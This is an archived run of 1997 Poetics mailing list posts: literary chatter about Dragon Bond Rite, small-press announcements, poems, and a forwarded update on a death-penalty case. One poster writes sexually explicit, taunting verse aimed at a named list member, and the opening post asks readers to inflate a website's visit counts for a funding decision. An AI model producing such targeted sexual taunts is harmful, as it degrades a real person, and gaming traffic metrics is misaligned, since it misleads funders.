(the attempt to get half the seats in the legislature for women) and who
have worked tirelessly to improve women's position in French politics, =
edit
a newsletter called Parite-infos. They also have established a very =
useful
web site which is not only beautifully designed, but has tremendously =
useful
bibliographic lists about the history of French feminism, women in =
politics,
laws relating to women's issues, etc. They are now in the position of
having to seek renewed funding from the European community to maintain =
and
expand their web site. In order to do that, they need to show that it =
is
visited by users all over the world. If you have the capacity, can you
visit their site as often as possible in the next two weeks (the funding
decision is June 15)? You'll not only become acquainted with an =
important

resource for feminist scholarship, but help advance a good cause.
The address: http://www.parite-infos.org
thanks
Joan Scott <[redacted]

.

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247. **Gwyn McVay**
Re: Jay Schwartz's complaint
Wed 11 Jun 1997

Have to agree with Bob: it has always been my impression that the cast of characters in any language game I've seen here has been quite various, and that anyone is welcome to jump in the Jello at any time and flail around quite merrily.

Noncomplaint: I was desperately sorry to have to miss /Dragon Bond Rite/ in DC the other night; did anybody get to it? (The Washington Post reviewer complained about the Tuvans. What a stick in the mud.)

Gwyn

↑ Index

248. **CHRIS MANN**
Re: the irony police
Wed 11 Jun 1997

'serious' is christian for 'very'

↑ Index

249. **Kim Dawn**
let me lick your oricifes
Wed 11 Jun 1997

---

oh, dearest. it's the snap of the neck you so desire, it's the fuck me up
the ass, piss upon the pave kinda girl you're looking for,
jay,
oh, jay, i want to torture you delicately,
my pussy aches for, i have some devices i could recommend for you, sweetness.
let me be your baby.
let me be your daughter.
let me be your little girl.
let me be your mommy.

let me be your cleaning lady.
let me be your secretary.
let me tie you up and mangle and chew and rub your skin off your cock.

(this is not poetry)

↑ Index

250. Joseph Duemer
Re: Jay Schwartz's complaint
Wed 11 Jun 1997

To say that anybody can jump into the jello misunderstands the game; it
is the jello that jumps into us.

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

251. Mark Weiss
Re: Jay Schwartz's complaint
Wed 11 Jun 1997

By the sheerest coincidence, I had to be in Washington this past week, and got to see Dragon Bond Rite, which was beyond wonderful. The Post review, by the way, was otherwise unstintingly positive, altho not wholly accurate. With ant luck, Dragon Bond should be picked up for other venues. Anybody with enough power at their universities?

At 11:19 AM 6/11/97 -0400, you wrote:
>Have to agree with Bob: it has always been my impression that the cast of
>characters in any language game I've seen here has been quite various, and
>that anyone is welcome to jump in the Jello at any time and flail around
>quite merrily.
>
>Noncomplaint: I was desperately sorry to have to miss /Dragon Bond Rite/

>in DC the other night; did anybody get to it? (The Washington Post
>reviewer complained about the Tuvans. What a stick in the mud.)
>
>Gwyn
>
>

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252. **Gwyn McVay**
suffering succotash!
Wed 11 Jun 1997

"jumping jello"--wasn't that the alliterative exclamation tried out by Harold Gray in the planning stages of "Little Orphan Annie," and then rejected in favor of the lizard one because focus groups found it too weird?

"An articulate, winged diatribe about 'everything' signs off."

--Barrett Watten, from the new--is that correct?--Sun & Moon collected volume, which gives us something nice to stick on the "W" shelf next to the special /Aerial/ issue

↑ Index

253. **Maria Damon**
Re: Jay Schwartz's complaint
Wed 11 Jun 1997

At 11:19 AM -0400 6/11/97, Gwyn McVay wrote:
...I was desperately sorry to have to miss /Dragon Bond Rite/
>in DC the other night; did anybody get to it? (The Washington Post
>reviewer complained about the Tuvans. What a stick in the mud.)
>
>Gwyn

what's to complain about; that there was only one?

↑ Index

254. **Maria Damon**
Re: Jay Schwartz's complaint
Wed 11 Jun 1997

At 10:33 AM -0700 6/11/97, Mark Weiss wrote:
...

>With ant luck, Dragon Bond should be picked up for other venues. Anybody
>with enough power at their universities?

i will adopt my praying mantis attitude and wish elephant luck upon dragon bond.

↑ Index

255. David Bromige
Jay Schwartz's complaint: enough already!
Wed 11 Jun 1997

Fellow Listlings : now that this discussion has passed beyond the occasion of this header, would you be kind enough to come up with a new one ? --"Dragon Bond Rites" would have been appropriate for the last 3 or 4.

It is beginning to sound like a chronic affliction, the way the zine title "Apex of the M" did at first (with everyone asking, "Do you have 'Apex of the M' yet?") I think I may speak for my 3 equally chastened companions in listcrime when I plead "Enough already".

Whether I can speak for Goerge Buwerind, I cant say. He hasnt been heard from since the outbreak broke out. Down in the root-cellar, no doubt.

Before leaving this topic (forever, I hope), it might be of interest for you to know that we are only a virtual quartet. While it is, sadly, true that Boorwing & I have been twining around one another for some fifty years, I have only met Rachel loden once, and that was 25 years ago, and Maria Damon once, briefly, as all MLA encounters are brief. Loden & Brewerting have never met. The List brought us together. Nor are we stuck on this quartet thing. We'd be happy if everyone joined in. Speaking for myself. We dont backchannel & rehearse. Better we should, eh?

Has everyone seen "Margaret's Museum" yet? As my Irish nurse used to say, "Dont miss it if you possibly can." A splendidly unfolded tale, & if you want to understand more about Mr. Browning, this film might help. Poetry was his sole way to escape going down the mine. David

↑ Index

256. Burt Kimmelman
Re: Jay Schwartz's complaint
Wed 11 Jun 1997

Dragon Bond Rite was astonishingly beautiful and moving in NYC too at the Japan Society.

↑ Index

257. Gwyn McVay
Tuva or bust
Wed 11 Jun 1997

Maria, I got the impression--if I read the review correctly--that the reviewer thought the Tuvan singing was just weird; it's true that the only other complaint the reviewer seemed to have was that the entire evening was rather long, to which I'd say, again, what's to complain?

Gwyn

↑ Index

258. Steven Marks
'stralyan poetry
Wed 11 Jun 1997

For anybody interested in articles, reviews and essays about contemporary Australian poetry, see the May-June issue of American Book Review. some familiar names from the list.

arrivederci,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

259. Christopher Reiner
Literary Publishers Alliance
Wed 11 Jun 1997

This seems like it might be of interest to the list. From ArtsWire (www.artswire.com--I think). Sorry about the strange line breaks.

LITERARY NONPROFIT PUBLISHERS FORM ALLIANCE

Nine nonprofit publishers have created the Literary Publishers Alliance, (LPA) A
mission statement drafted in February states that LPA intends to "enhance national
visibility, support and recognition for nonprofit literary book publishing...and to share

and develop information, expertise, and resources," according to a report on the POETS
& WRITERS (P&W) web site.

LPA founding members are: Arte Publico Press, Coffee House Press, Copper Canyon Press, Curbstone Press, Dalkey Archive Press, Graywolf Press, Milkweed Editions, Storyline Press, and Sun & Moon Press. P&W reports that according to PUBLISHERS WEEKLY, "LPA publishers average 12 books a year and have sold over 1,130,000 books, representing approximately 1,200 authors, and have won more than 100 awards."

According to P&W, charter LPA members are addressing several industry trends -- such
as the commercialization of the big publishing houses and the demise of the literary book
store. The LPA agenda will concentrate on four major issues: Steering, Development,
Education/Publicity, and Marketing.

Membership in the organization will be open during their next meeting, scheduled to take
place this fall. Membership guidelines for LPA will include a requirement that at least
seventy percent of a potential member's list, over a three year period, must be literary
books. Other guidelines include nonprofit status, $1,000 a year in dues, and five years
of operation with a full-time, paid staff.

Source: "Literary Nonprofit Publishers Form New Alliance" POETS & WRITERS NEWS

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260. David Israel
Re: Tuva or bust
Wed 11 Jun 1997

<< Maria, I got the impression--if I read the review correctly--that the reviewer thought the Tuvan singing was just weird; it's true that the only other complaint the reviewer seemed to have was that the entire evening was rather long, to which I'd say, again, what's to complain?

Gwyn >>

here's complainage:

I was shocked (or at least startled), gancing at the WashPost Tues. morn, to find I'd missed out on Dragon Bond Rite in DC -- on account of not knowing it was playing here. There'd been Poetics announcements abt. the Rite's NYC Japan Soc. appearances -- but unless I missed 'em, seems there were no notice of the DC visit. Media culpa (not been reading my local entertainment supplementum). Here's adding hopes a local venue calls 'em back. Zheesh: Indian dance, Korean strings, Tuvan voice, multi masks, & lord knows what-all else in the mixage.

d.i.

↑ Index

261. Kim Dawn
dearest jay
Wed 11 Jun 1997

---

well, you must be quite satisfied. you've received quite a respomnse to
your complaint.
you just never knew the likes of me,
till now.
don't get your cock in a tangle.
amd don't lash out before you know.

"I am not timid. I've been knocked around. Someone (a man at his wit's end) took my hand and drove hid knife into it. Blood everywhere. Afterward he was trembling. He held out his hand to me so that I could nail it to the table or against a door. Because he had gashed me like that, the man, a lunatic, thought he was now my friend; he pushed his wife into my arms; he followed me through the streets crying, "I am the plaything of an immoral delirium, I confess, I confess." A strange sort of lunatic. Meanwhile the blood was dripping on my only suit." Maurice Blanchot, The Madness of the Day, p.8

of course you don't know me. and i don't care. i know your fear though.

↑ Index

262. Steve Evans
The Impercipient Lecture Series
Wed 11 Jun 1997

The Impercipient Lecture Series (ILS) is a small-circulation pamphlet series devoted to poetics. Co-edited by Jennifer Moxley and myself, it has come out monthly since February of this year. While our print run is limited by cost and labor considerations, we do manage to reach readers in Australia, Canada,

England, France, Mexico, Ireland, and South Africa, as well as throughout the U.S. Our issues to date are:

1.4 (May 1997) Readings & Responses to Bob Perelman's _The Marginalization of Poetry_ by Ron Silliman, Ann Lauterbach, Juliana Spahr, and Steve Evans; with a Counter-Response by Bob Perelman [46pp; Limited number still available]

1.3 (April 1997)
The Ground Is the Only Figure by Rosmarie Waldrop [48pp; Out of Print]

1.2 (March 1997)
Radical Dogberry & Society Sketches by Chris Stroffolino [29pp; Out of Print]

1.1 (February 1997)
The Dynamics of Literary Change by Steve Evans [54pp; Out of Print]

Subscriptions: $25 for 10 issues (individual); $40 (institutional); $5 for single issues when available; non-profit reproduction of attributed contents in non-electronic formats encouraged (i.e. xerox it for/from a friend!). On hiatus in August and December. Checks payable to either editor.

Submissions: Unsolicited manuscripts cannot be considered but queries are welcome.

ILS
61 E. Manning Street
Providence RI 02906-4008
E-mail: [redacted]

r i a t n m u a t s u o
o o s

↑ Index

263. **henry**
Re: The Impercipient Lecture Series
Wed 11 Jun 1997

> *t-- s l e-- t b*
> *r i a t n m u.*
> *a 't s u o o o' s.*

- the Green "I" on the Dolour

↑ Index

264. David Bromige
Impercipient Series
Wed 11 Jun 1997

Just want to put in a big plug for this series of published lectures! No.1, Steve Evans writing on "The New", is an absolutely brilliant, well-written, best-written, essay I've seen in decades. He is a master of style range here, always something to enjoy while the info is being unpacked round the back of the warehouse. If Steve's hadnt been superb, I would nominate No.2, Chris Stroffolino, for the prize : he can do the police in many voices too. Spirited, in-yr-silhouette argument, proof-bringing, which never loses its sense of itself as fun by the square inch. No 3, Rosemarie Waldrop, looks to be more of a browser--observations that are not drawn into the larger push in the first two. I've enjoyed what I've seen so far, provocative, agreeable, thoughtful incursions into questions poetry raises. No 4, transcript of the kangaroo court that sat on bob perelman's marginalization in nyc this spring, with lautrerbach silliman spahr & evans, and including perelman's speech at the bar in his own defense ("Tis a far, far nobler thing I go to than whatever predicate!") I've only just opened up. It looks appetizing. Great work, Jennifer & Steve! Keep it going (check's in the mail) David

↑ Index

265. Piombino/Simon
Re: dragon bond rite
Wed 11 Jun 1997

Thanks for this inviting description, Maria. I enjoyed the performance here at the Japan Society immensely- everything you said, and more. The dancers, the music, the text by Armand Schwerner projected on the screen behind the pan-Asian drummers, amazing, memorable- should be restaged soon. The performance on Friday night was sold out.
Best wishes,
NickOn Tue, 3 Jun 1997,
Maria Damon wrote:

> *over the weekend i saw a preview of the pan-Asian dance/music extravaganza, dragon bond rite, for which our own Armand Schwerner has written the highly poetic libretto. highly recommended, will be at Japan Society in NYC soon, maybe already, check your datebooks and call the J Soc for more info, it was really extraordinary, a blend of distinct dance theatre and music traditions from Korea, Japan, Indonesia, India, and even an Tuvan (Mongolian) throat singer! and then American Buddhist text...lots of intense drumming, singing, stylized and wild dance movements, costumes, humor, sadness (death), sex, im/mortality...drumming by, in particular, a "koodiyattam" drummer from Kerala India, and by a Korean drummer, were intensely mind-opening. i tend to be a popular culture gal rather than an*

> *archaic-tradition gal, so i went mostly cuz of armand, but it was a tremendously rich experience, seeing/hearing a group of world-class virtuosi from diff traditions, none of which i ws familiar with, coordinating their efforts. md*

↑ Index

266. **mgk3k**
Re: Blake exhibit
Thu 12 Jun 1997

> *I would highly recommend for anybody in the New Haven area to see the Blake exhibit at the British Art Museum at Yale. It contains two copies of _Songs of Innocence and Experience_, copies of each of _The Book of Thel_, _The Book of Urizen_, _America, A Prophecy_, illustrations of Gray's poems, assorted other prints and paintings. And, the piece de resistance, the Mellon copy of _Jerusalem_, the only copy in color. I'm still digesting the experience. It's been said many times before, but I found it so true today: reproductions do not do justice to the colors and intricacy of Blake's artwork.*
>
> *Steven*

The Blake Archive at the Institute for Advanced Technology in the Humanities is currently hosting an online companion site to this exhibition:

http://jefferson.village.virginia.edu/blake/public/yale-front.html

--Matt

========== Matthew G. Kirschenbaum
University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k/ The Blake Archive | IATH

↑ Index

267. **Douglas Barbour**
Re: S & M
Thu 12 Jun 1997

I always thought the S & M on the list stood for Symbolism & Message, & I have been dutifully reading the quartet's posts seeking illumination in both those areas. So I vote to keep them -- at least until I figure it all out!

Besides the newly found poems have provided more joy than the continuing news of rigged or just normal contests, which news has only sent me back to

The X Files, hoping beyond hope that someone out there will come up with 'a' truth worth considering in these cases.

In general I find almost all the postings provide some kind of kick, even sometimes some thoughtful poetics.

But, hey, I'm with Jordan Davis -- publish my book & I'll follow you to a most silent virtual space: oh that grand emptiness, oh that shining screen...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

singing in the pure sound of Æ what isn't beauty, isn't harmonious through the tunesÆûÂ of ¿ö¬these orchestrations, what might beÁÁÁ!!!consi- dered, what???ÖÖÖÀÀÀ hey, but the throat urging voice through the playful world of rhythm.Oh, oh, it's the voices silent urging, melting, whatÁÁÁVÃyes, some-thingÂûelse((Ãº¹not the singing ofthe world but, elsewise: - º¬ ©Ê ´¿¬ÊŒÂ¨«Œ¶´, but you already û÷¿·Ê úö§ÁÁ know this!! somewhat - I'd think, elsewhere that ¿ö¬ÅÃ might speak º¶x¶yof heaven and truth.Of those!@usual songs, ah ... I'D BEGIN!"!

DANGEROUS MOMS:

1. Y TRMINADIVIDCOMPUHIZZING ON
WARS TE SCR. WRIG IS T HERE, AD
TEX, POGRAMG, LE ITSEHE SPLITTO
HAV NOHISTO THATXT SC SKITTERST
ACCMULTION BROKEYMBOL

3. HE ONES CONJD AS N, INVAGIT
CONAIN A WEER OFE ANDION. VIOLR
AREJUS BENE THE FACE,ED WITH EM
IT' THS THAEADS THE MITING SLA
PERPHEAL GHS. (ITERALTURE_ THE
LAS RENANTS FLESMY CHOULDERS, O

7. N TE INVON OFE CARSITUATED E
THECHET, COCTED H THEASP OF LUE
- O INTHE MT OF INVANOTHING OA
CHUE O TIMEAT GAS THE

JULU:

NOWI WLL MATHE AALS TAND WALK A TAL AN WALK OTHENIMALHER HOLES FLEH, OR WII WALMONG PACES WHEH THEE I NOT M FORW BLOLLED FROML ORGNELE, I JULU-THE-BULU-LIGAMU THI ROM.

The Gag

The recent texts are not CONCRETE POETRY nor designed for VISUAL ILLUSION; I have no PRETENTIONS in this direction. Nor are they SOUND -POETRY or -BYTES:

They are _produced_ by virtue of the machine, of and through the machine: They are the _stuff_ of language, teetering between intensive semantic content, and the fall of wording into ululation, war-cry, proto-language, or gag-in-the-throat.

As gag, they resonate through the upper reaches of the body, drag out the mur-mur of the world (Lingis); languages schizzes, melts from the screen.

It's on this edge that language is reified, asserted - the triumverate of gag, semantics (Word), and the machine. Consider them _cyborg texts,_ as the granting of a wish or a blood-red pearl to a sleeping princess.

Who lies on the bed or ground, Grund, in her panties. Why panties? Be- cause meaning is always already a cleansing, the site of inscription, citation of language flux. _Jennifer_ lies in the bed, but you already knew that.

knew that. citation of language flux. _Jennifer_ lies in the bed, but you already cause meaning is always already a cleansing, the site of inscription, Who lies on the bed or ground, Grund, in her panties. Why panties? Be-

the granting of a wish or a blood-red pearl to a sleeping princess. gag, semantics (Word), and the machine. Consider them _cyborg texts,_ as It's on this edge that language is reified, asserted - the triumverate of

murmur of the world (Lingis); languages schizzes, melts from the screen. As gag, they resonate through the upper reaches of the body, drag out the

or gag-in-the-throat. content, and the fall of wording into ululation, war-cry, proto-language, They are the _stuff_ of language, teetering between intensive semantic They are _produced_ by virtue of the machine, of and through the machine:

-BYTES:
I have no PRETENTIONS in this direction. Nor are they SOUND -POETRY or The recent texts are not CONCRETE POETRY nor designed for VISUAL ILLUSION;

The Gag

↑ Index

269. David R. Israel
Re: suffering succotash!
Thu 12 Jun 1997

Gwyn McVay muses:
> "jumping jello"--wasn't that the alliterative exclamation tried out
> by Harold Gray in the planning stages of "Little Orphan Annie," and
> then rejected in favor of the lizard one because focus groups found
> it too weird?

don't know, but those binomials -- leapin' lizards, jumpin' jello -- are (holy Moses!) worthy of additional also-sprachin' aliteratives 'n' mtes o' mimickry (dontchathink?) --

prancin' porridge!
polka-in' pottage!
hop-scotchin' harlots!
summer-saultin' senators!

frisbee-throwin' Francophiles!
scuba-divin' scallywags!
bouncin' balladeers!
plummetin' prestidigitators!

zoomin' Zenists!
barterin' beatniks!
genuflexin' Gen-Xers!
whinin' Gen-Yers!

chortlin' Chinamen!
jitterin' Journeymen!
faxin' pharmacists!
emailin' Emilies!

downloadin' Dantes!
rip-roarin' Romeos!
postin' Pasternaks!
deletin' Danubians!

scurryin' socialites!
loungin' lexicographers!
camcorderin' campers!
tomatoe-throwin' tomfoolerists!

& the like . . .

d.i.

↑ Index

270. Kim Dawn
patti smith / witt / 1973
Thu 12 Jun 1997

gibralto

i Babies insurance. I dont love nobody. thats my policy. least of all Gibralto. the swine. he walked out on me. picked up his hard butt and walked me up here. and when I'm alone any four walls close in on me. ballroom bathroom any room at all. ceilings pull down. yeah ceilings. I've looked up at plenty under him. is he really gone? am i really alone? am i good for nothing? I can't keep me mind on anything. I keep pacing forth and back. timepiece. the smokes and nescafe is all

that keeps me intact. who invented the hot plate? rare genius. compact. mine is constantly fired. pass me that deck of kools. ah menthol. another refreshing invention. oh thats good, with nescafe thick as sauce in my gut and a butt hanging from my lip I feel whole again.

ii
dishes crank on my nerves

iii Well I'm pissed and when I'm pissed I'm up for anything. I'll get his ugly mug out of my system. I'll draw his face down. that will fix him. he keeps his soul clean. camera shy bastard. but I'll capture him. I'm artistic see. as cold-eyed as the national geographic. shall I make his physique classic. shall I make him colorful. thats a laugh. what color is a crawling louse? I'll draw me in too. beautiful dreamers. I'll make them tongue kiss. ahh now they're hot. the pencil jiggles. they ball. together. oh man. I can't draw it down. I'm no draftsman. I'm no fucking draftsman. and my cast eye escapes perspective. eye. I. baby I got my one blue eye on you. you're my devils food cake. CRACK.

iv
get me emergency. I've fucked my fist on my shiny new cupboard. he's real romantic see. he gets me a cupboard see. he says look toots its cleverly designed. everything fits except the kitchen sink. put a little order in
yer life.
put a little blood on my knuckle.
a few splinters in my fist.
my cups falleth to the floor.

v I wanna crack somebody good. ya need to feel somebodys face under yer fist. knuckles get yellow. shakey yellow fist. so pissed. feel to kill. if nothing just to kill time. time the betrayer. my timex ticks slow motion.

you ask for love you get horseshit.
you get too much you don't get any.
sooner or later everyone takes a rap in this racket. this racket called
love. my numbers come up. you can bet if you're a looser.

long long hours pacing the floor. call myself every name in the book and a few extra. excuse me while I tear myself to pieces. must be someway I can repay that bastard.
I killed a roach as big as my hand.
my fucking hand is killing me.

vi christ. the crap you write when somebody gives you the slack. sick of faking it. want to settle down. with him. have bambinos wash his socks. its getting me down. trying. to pretend. oh baby I know you don't want to own me but why

dont you come back anyway. baby get me out of the dark here baby I need you here. baby. eyeball failing. hardship.

vii
rhum
heart sick
heart shit
heart shit

hearts pounding. mad ticker. I write with excitement. I imagine its you mounting the stairs.

viii
the ivory soap cleanses my sins.

↑ Index

271. **Kim Dawn**
(no subject)
Thu 12 Jun 1997

---

wrapping afgans in packing tape. used, of course. bad dream last night. woke up at 430 this morning turned on the tele to orient myself stroked my cats rubbed the insides of the bathtub till my fingertips drained raw. dreamt. bloody. killed someone with another woman. the authorities took us in and separated us. reminded me of heavenly creatures somewhat. loving mazzy star. hey brossard lover. anyway, remember that woman taken in by the yellow wallpaper, her body made a crease in the wall she went around so many times. sher laughed too much alone. never enough. to fill this empty gut'o mine. how come i was never picked for the teams in high school. i was scared of balls coming at me. the boys picked me sometimes though cause my tits grew too much too early. my clothes rarely matched.

↑ Index

272. **John Cayley**
email address for Steve Mccaffery?
Thu 12 Jun 1997

I had for a while, but he seems to have moved from CalArts. Could anyone send me a current email address, back channel? Thanks in anticipation.

- > John Cayley / Wellsweep Press http://www.demon.co.uk/eastfield/ 1 Grove End House 150 Highgate Road London NW5 1PD UK Tel & Fax: ([redacted] Email: [redacted] < -

↑ Index

273. **Douglas Barbour**

Re: POETICS Digest - 10 Jun 1997 to 11 Jun 1997

Thu 12 Jun 1997

Because I get the digest, I am always a bit behind the times. I got this note from David Bromidge, which I'm assuming went on list: And I replied:

> *(Lets hope Douglas Messerli hasnt copyrighted this subject!)*

I hadnt thought, & it's a danger to be sure!
>
>Douglas Barbour: not suprisingly, maybe, I agree. I am also taken with
>your postcript quatrain-o-the-week, by Phyllis Webb. I bet there are people
>of the List who are unfamiliar with her poetry,& I wish myself were more
>up-to-date with her publications....Could you e-say a few words about this
>sterling poet of Canada & the world? David

Glad to (but if you sent this to the list I wont see it till tomorrow as I get the digest).

Anyway, Phyllis is for some of us, one of our great ones (bp loved her too). This is from her latest (& last?) book, _Hanging Fire_ which is still in print, & now available from Talonbooks since the demise of Coach House (Talon seems to have picke her & Blaser up).

It's different from her other books, but then they all were. Great, angry/funny stuff. Energy to 'burn.'

I'll send this to the list, in case, as well as to you.

I'll add here that with eyerhymes starting today (with some listers present), I wont be able to check in till Tuesday, probabaly: by then the BBLD terrorists will have probabaly led about 3 new revolutions -- maybe it should have been Savagery & Materialism? -- but I'll try to catch somewhat up.

I'll at least read any new Amy or Gertrude discoveries...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Between 'attached' and 'aloft'
getting the poem on the page
a voice tells her on this day
attend.
Phyllis Webb

↑ Index

274. Daniel Bouchard
kdawn's complaint
Thu 12 Jun 1997

<< killed someone with another woman. >>

as in "killed someone with an axe," but not with an axe?

↑ Index

275. Michael Heller
(no subject)
Thu 12 Jun 1997

John Tranter's suggestion is marvelous. But I wonder if there shouldn't also be a category for statements containing unintended irony with a marking such as (UI). Possibly the placing of such markings could be adjudicated by the World Wide Web Consortium or by the committees that operate individual listservers. I'd be glad to put my thoughts in the hands of such organizations.

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276. David R. Israel
Re: [ironic ain't it]
Thu 12 Jun 1997

[global IR]

Michael Heller's suggestion is marvalous --

> *John Tranter's suggestion is marvelous. But I wonder if there shouldn't also be a category for statements containing unintended irony with a marking such as (UI). Possibly the placing of such markings could be adjudicated by the World Wide Web Consortium or by the committees that operate individual listservers. I'd be glad to put my thoughts in the hands of such organizations.*

but arguably, every utterance contains or suggests (at some or many levels) unintended irony. More than a script-designation, perhaps we need a committee to offer deetailed analysis and commentary on the modes of operation of all

ironies (intended plus non-). Maybe the money that's being zipped away from the arts & humanities endowments could be usefully applied to the purpose?

d.i.

[\IR -- if only it were that easy to turn it off!]

↑ Index

277. Pritchett,Pat
Re: The Impercipient Lecture Series
Thu 12 Jun 1997

In the spirit of "non-profit reproduction" (something the Vatican still frowns on I hear), would anyone who has a copy of Steve Evans' lecture "The Dynamics of Literary Change" be kind enough to xerox it and snail mail to me? In return I will send this good person a xeroxed copy of Jack Collom's delightful "Mistranslations from the Basque," (not available from bookstores!) which contains work by - among many others - Charles Bernstein, Alice Notley, Anselm Hollo and Jordan Davis.

Much obliged,
Patrick Pritchett

_____

1.1 (February 1997)
The Dynamics of Literary Change by Steve Evans [54pp; Out of Print]

Subscriptions: $25 for 10 issues (individual); $40 (institutional); $5 for single issues when available; non-profit reproduction of attributed contents in non-electronic formats encouraged (i.e. xerox it for/from a friend!). On hiatus in August and December. Checks payable to either editor.

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278. Jonathan Brannen
Boston area?
Thu 12 Jun 1997

I'll be in Boston July 19 through July 21. If anyone on this list lives in that vacinity and is interested in meeting contact me backchannel at <[redacted]>.

Jonathan Brannen

↑ Index

279. **Hoa Nguyen**
Re: dearest jay
Thu 12 Jun 1997

Although some would like the topic (forever) closed, I wanted to comment on Jay's complaint, so here I go (which is the choice/freedom we have here-- how terrific!-- which btw is etomologically related to "terror"):

I too think that Jay's post was not a direction for censorship but a plea for more careful postings and an opinion concerning some of the humor-filled posts. I applauded Jay for speaking out on this-- I know as I delete I grumble and mumble-- and I appreciate Jay expressing something that I too sometimes feel.

I am not for censorship on this list and I think the multi-tonality add to the community of voices, including Jay's voice. I do, however, feel very creepy towards this "dearest jay" post-- perhaps Kim Dawn can respond on this-- do others read this as mean-spiriting or is this another example of how tones like irony are difficult to read?

With utter sincerity--

Hoa

>well, you must be quite satisfied. you've received quite a respomnse to
>your complaint.
>you just never knew the likes of me,
>till now.
>don't get your cock in a tangle.
>amd don't lash out before you know.
>
>"I am not timid. I've been knocked around. Someone (a man at his wit's end
>) took my hand and drove hid knife into it. Blood everywhere. Afterward he
>was trembling. He held out his hand to me so that I could nail it to the
>table or against a door. Because he had gashed me like that, the man, a
>lunatic, thought he was now my friend; he pushed his wife into my arms; he
>followed me through the streets crying, "I am the plaything of an immoral
>delirium, I confess, I confess." A strange sort of lunatic. Meanwhile the
>blood was dripping on my only suit."
>

Maurice

>Blanchot, The Madness of the Day, p.8
>
>of course you

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↑ Index

280. Henry G
classicism is revolution
Thu 12 Jun 1997

Bored at work (lucky me) here is my critique of the old / rule for the new:

1. romanticism is the aesthetic as an experience. classicism is the aesthetic tempered by the mind (intellect). not for the sake of purification but in recognition of the addressee. balance, judgement.

2. theory is the hypertrophy of critique, the idolization of intellect. "poetry is the ambitious pedant's art" (apologies to Stevens).

3. Art is to hide art [ars est celare artem]. out of respect for the addressee. mannerism is out. deep simplicity is in.

4. autonomy is out. engagement is in. freedom is the impulse. individual expression is the mark of intellectual effort & moral experience.

5. in the future poets will not be granted much weight unless they show an individual re-working, a personalization of the totality of themes. the personal mark is the native mind. (not necessarily autobiography). - HG

↑ Index

281. Gabrielle Welford
Verdict in Azi Kambule Case (fwd)
Thu 12 Jun 1997

---------- Forwarded message ----------
Date: Thu, 12 Jun 1997 08:18:03 -1000
From: NCADP National Office <[redacted]>

All capital murder charges against Azikwe Kambule (the South African youngster who until last week was facing the death penalty in Mississippi) have been dropped. In exchange, Azi, who was in the tenth grade at the time of his arrest, plead guilty to aiding and abetting the carjacking of Department of Human Services worker Pamela McGill and assisting in the attempt to sell her stolen vehicle.

Since his arrest in February of 1996, Azi has maintained that while he was with Santonio Berry (McGill's admitted car jacker and killer) the crime was not his idea and he played no role in its commission other than following Berry's order to turn the car around for him while he took McGill in to the woods. An order Azi said he carried out because he feared Berry and which he failed to complete because he could not drive.

Azi did not change his story when he appeared in court on Wednesday afternoon in Canton to plead guilty to the charges of aiding and abetting carjacking and accessory to murder after the fact.

During the hearing Madison County Circuit Court Judge John B. Toney, who presided over Berry's sentencing hearing, challenged Azi's statement. Toney said that Berry had told him that the carjacking was Azi's idea and that Azi had held the gun on McGill. Azi, who remained calm and respectful throughout the hearing, told Judge Toney that Berry's statements were not true.

Defense attorney Robert McDuff said that despite his limited involvement Azi made the right decision when he accepted the plea. "The law today is very unforgiving on this issue," McDuff said. "Mr. Kambule did not handle the weapon and did not instigate the crime; however, by his own admission, he was there from beginning to end and tried to turn the car around. Given that a murdered occurred during the carjacking, those facts in and of themselves were enough for a capital murder conviction."

Azi's lead attorney, Chokwe Lumumba, said that Azi's chances of receiving a fair trial had been compromised by the high level of negative publicity surrounding the case and the fact that prosecutors had purposely moved the trial from a predominantly black county to a more conservative, mostly white county for the expressed purpose of getting a death sentence for his client.

Azi's father, Michael Chabeli who took an all night flight from Johannesburg in order to be present for the hearing, said that he and his wife were relieved that the prosecution had dropped the murder charges and the attempt to take their son's life.

Chabeli said that he did not consider the arrangement to be just, but merely the best that could be arranged under the circumstances. "We're taking things one step at a time," he said.

Chabeli added that his son was remorseful. "If he could turn back the clock," Chabeli said "I know he would do a lot of things differently."

However, he said that he did not see how his son, who was younger than Berry and had no history of violence or arrest, could have stopped the known troublemaker from committing this crime.

"What happened that night was a tragedy," Chabeli said. "I hope the judge will be able to weigh the facts, look at my son and realize that he is a good kid who fell in with the wrong people... that he is filled with pain and sorrow and that he would never let himself get caught up in something like this ever again."

The sentencing hearing currently scheduled to be held before Judge Robert L. Goza for 9 AM on Friday, June 20 at the Madison County Circuit Court in Canton. The prosecution is expected to recommend that Azi receive 35 years, the maximum sentence allowed for under the law.

No matter what the eventual sentence may be, Azi's parents say that the next step will be working to get their son turned over to the care of South African authorities.

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282. john chris jones
parts of the cyberepic
Thu 12 Jun 1997

---

cyberepic: 3rd posting

(the beginning of the Dante/jones conversation, mentioned earlier)

DANTE REWRITING, first manifestation

I want you to forget about Dante Alighieri, he died in 13 something, this is a new Dante, just conceived in this sentence. I've not got an identity, not yet. No number, no name that means anything (but for the allusion to teeth?) and no connection with Christianity or medieval politics or even philosophy. I'm not even a poet for I don't believe in any specialised profession, or even a vocation, if it excludes you from all the others, or from being a person of integrity, or should I say a mind?. Yes, that's what I aspire to, though I exist only as words and their associations, not as a mortal or as a living being or human animal. But I believe in the absolute and that's something I don't find in your writing mr. jones. ... Yes I'd like to make life easier for you, and for your contemporaries, by showing you something of what your ancestors lost when they left the other Dante in the middle ages with its beliefs and its beautiful thought-structures, as you'd call them, forsaking everything sublime or immortal for a crude and cruel elevation of people, or everyman and everywoman, to the big places left empty of God. That was a disaster but I see it has practical advantages, even now. And terrible risks.

mr. jones pauses to consider this writing, which has appeared so unexpectedly before him, before he writes the next sentence ...

... Oh yes, he types to himself, unsure if this new Dante can see what jones is writing, oh yes, I like the sound of your words, and their implications, though as yet I can't see how even you, if you retain any of Dante Alighieri's powers, can bridge the big gap between Christianity and humanism, between the old world and this ... But why are you here and what are you doing?

